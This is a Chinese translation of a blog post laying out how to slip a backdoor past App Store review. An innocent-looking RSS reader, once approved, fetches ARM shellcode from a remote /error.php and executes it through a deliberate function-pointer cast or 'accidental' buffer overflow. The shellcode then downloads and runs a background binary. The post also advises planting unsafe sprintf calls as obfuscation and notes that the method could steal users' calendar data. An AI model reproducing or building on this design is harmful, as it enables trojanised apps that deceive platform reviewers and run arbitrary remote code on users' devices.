(译者注:虽然不提倡本文的方法,但还是向此文作者的创造性致敬!)

 

有一种试验性的方法实现iPhone上运行后台程序/守护进程。到目前为止,iPhone SDK 并不允许在iPhone OS上(其本身是基于 Darwin Unix的)开发“真正的” Unix方式的后台进程(守护进程)。

 

本方法涉及了一些高级编程课题,例如 shellcode,因此要求一些基本的汇编经验,Unix系统调用以及最好具有一些ARM 经验。

 

法律声明

 

这只是一种理论,仅用于试验目的 – 不要在实际程序中使用此方法除非你有足够的钱请律师或者准备藐视Apple的版权。我不会对任何违反法律的行为负责。

 

如果你不知道你在做什么,那么不要做。

 

概述

 

好了。在读了我的声明后,让我们开始讨论究竟要怎样实现这个目标,我们遇到的困难是:

 

  • 编写一个iPhone上的后台程序/守护进程
  • 通过代码迷惑技术避免被Apple检测到
  • 发布程序到app store
  • …避免被诉讼

 

避免被抓

 

在基于Unix的操作系统上运行后台进程不是件很困难的事情,但是在Apple所钟爱的(完全被锁定)的iPhone OS(未越狱的)上如果没有采用一些代码迷惑技术则很不简单。

 

但是,正所谓有志者事竟成。

 

基本示例

 

比如说我们需要一个后台程序(示例而已)在每个小时甚至在其他前台程序运行的情况下记录时间和日期到一个文件。由于我缺乏命名的创造性,我姑且称之为“Logger”。

 

此程序的目的是在后台运行并记录到一个文本文件,假设文本文件存储在默认的Logger.app目录下。但是Apple并不认同程序在后台运行,所以我们要发挥一下创造性。

 

我们知道我们要做什么,但是我们不想Apple知道我们要做什么。所以在进一步前,我们要讨论一下Apple是怎样审查程序的。

 

熟悉Apple在做什么

 

当你通过iTunes上传你的程序到Apple后,它就处于“被审查”状态,Apple开始“肢解”你的程序。

 

我指的是反汇编, I/O监视, CPU 使用检测以及详细的网络分析。他们将知道你程序所有的Darwin/Mach系统调用以及这些调用后的条件逻辑。

 

(有关与iPhone SDK 和 Objective-C 运行时比较的详细框图,请参见此文 ,它介绍了iPhone结构的详细概况。)

 

所以将守护进程所需的后台代码放入你的程序去接受审核并不是一个聪明的方法。系统调用及代码的本性一定会在审核时举红旗,他们将不会批准你的程序。

 

但是,使用一个小小的诡计可以让你的程序通过Apple的“合法”审核,而我们在程序批准后实现需要的工作。

 

前台掩护

 

如果我们只是提交只有一个循环而没有任何功能的程序,毫无异议它看上去就像一个守护进程,即使是世界上最好的代码迷惑技术也无法隐藏我们究竟在做什么。

 

另外,它并不是一个“真正”的后台进程,因为最终当你按下菜单按钮(译者注:Home按钮)时出现会终止(有效地终止其执行和子进程)。

 

所以,我们引进一个“前台掩护”。看过“教父”或其他类似的黑手党电影?“前台掩护”就是那些看上去合法,为赌博或酒精欺诈洗钱的小生意。这与我们的程序一样,它隐藏了后台正在进行的工作。

 

我们的“前台掩护”是一个网络浏览和RSS feed客户程序。我们将使我们的程序显示来自于RSS feed链接的简单的web view,;另外显示一些标志使其看上去合法。简单吗?

 

切换

 

所以我们的程序现在看上去是一个简单的RSS客户程序,它将通过我们网站的新闻供应站打开网络浏览。它确实是这么做的直到我们“切换”到我们真正要做的事情。

 

此方法的“触发”十分简单:在RSS客户程序中加入一个条件如下:

1
2
3
4
5
6
if (RSS feed is a redirect to /error.php) { // error.php is our remote and malicious script
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// code to make the switch, detailed below
return;
}
// "else" continue happily as the simpleton RSS/UIWebView app

 

此代码的目的是:在Apple批准我们的简单RSS客户程序发布到app store后,我们可以手工重定向RSS feed到/error.php,这将使条件满足开始切换。

 

省略 else 使得条件满足时进行切换时不那么明显,return 语句与else 一样(在汇编层进行代码迷惑)。

 

未使用的 NSString 在Apple进行审核时使得我们的程序看上去在进行错误处理。

 

我们是这样进行功能强大的“切换”? 这是具有欺骗性的部分…

 

实现切换

 

将一个“傻瓜”RSS阅读器切换为Unix守护进程的初始化要骗过Apple不是件容易的事情,所以我们必须具有真正的创造性。解决方法是Shellcode,它是一套植入“只读”缓存执行的可执行 (ARM) 作业码。

 

参见 此论文 重温一下shellcode的实现。 指南中的作业码是用于x86的,但是交叉编译可以很容易地运用到ARM可执行代码的开发。

 

所以使我们的 /error.php 网页返回 ARM 作业码,并“意外地” 在iPhone上运行:

1
2
3
4
5
6
7
8
9
10
11
12
// beginning where we left off...
if (RSS feed is a redirect to /error.php) {
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// switch code:
char exe[1][BUF]; // Array of C-strings, each of size BUF (defined elsewhere)
exe[0] = http_read('site.com/error.php'); // more on this below
/* appear to do something with exe[0], then: */
        int (*sh)(); // setup shellcode function pointer
        ret = (sh(*)())exe[1]; // *oops*
        (int)(*ret)(); // could even be obfuscated even further; details below
return;
}

 

以上是从php脚本error.php获取执行代码的未采用代码迷惑的版本。:

 

所以 error.php 在程序审查时未发布到app store前是合法的,并未改变为“恶毒”代码,程序未加密地读取字节到缓存中。for循环填充exe[0],然后exe[1]获取运行在设备上的“负载”代码。

 

这可以是shell脚本,即守护进程本身,或者是实际进程的下载器(下面将介绍)。

 

汇总

 

此程序发布为一个通用RSS 和 UIWebView 客户程序,但在app store批准后,在远程服务器端进行的修改(重定位RSS feed到新的/error.php) 使得 iPhone程序可以通过迷惑shellcode代码以及一个“意外的”缓存溢出执行任何你希望的代码。

 

我上面提供的C代码并不具有足够的迷惑性,很有可能在审核时会不能通过。故意使用非安全sprintf()函数误用或混用合法或非法函数指针使得你的代码更加迷惑性。

 

另外,如果植入**exe字符串到最终可执行代码的只读栈区,你可能会需要进行些手工汇编编辑和链接。

 

Shellcode内容

 

至于shellcode本身,我推荐:让 error.php 提供`wget ` and `exec()`shellcode,文件部分是你希望运行在后台的预先编译好的ARM可执行码。

 

此方法必须在你的程序中使用守护进程代码(Apple可见),并允许一种更隐秘的方法运行你希望的作业。

 

以我们的“Logger”为例,shellcode将下载一段预先编译的ARM码, 从error.php下载的shellcode的伪码如下:

1
2
3
4
if(the ARM executable is already present):
execute it // system("./logger &"); <- the '&' is bourne for "background"
else:
download the logger executable from the server and execute it in the background

 

更好的是,稍晚一些修改error.php中的shellcode。避过两个星期app store更新审核。

 

最后的注意事项

 

这是一种很“黑客式”的方法 以在不越狱的情况下在iPhone上运行任何代码(甚至发布到app store)。

 

请记住:一个很好的“前台掩护”使Apple认为它确实是一个合法程序,尽可能地隐藏你的目的。提供真实的字符串使其看上去确实像“错误处理”。

 

安全专家读到此文可能会想死。 本文详细地介绍了怎样在iPhone的后台运行你希望的代码,甚至通过app store。

 

所以如果Johhny Blackhat想获取你的iCal内容,他只需发布一个免费游戏到app store,而在你玩游戏时通过其shellcode获取信息。

 

我一点也不会怀疑我不是第一个想到此方法的人,或许有人已经在运用了。

 

最重要的一点是具有通过远程改变而改变整个程序的执行的能力。这是使程序中审核时看上去是合法的关键,一旦通过审核发布在App Store后,你就可以为所欲为了。

 

由于App Store中的程序太多,Apple不可能有时间检查每个程序的合法性。

 

记住:我将向第一个实现并发布实现方法的人致敬,但我不会为怎样使用或误用负责。;)

 

原文见:iPhone Background Apps Without Jailbreaking Or Push 作者:Anthony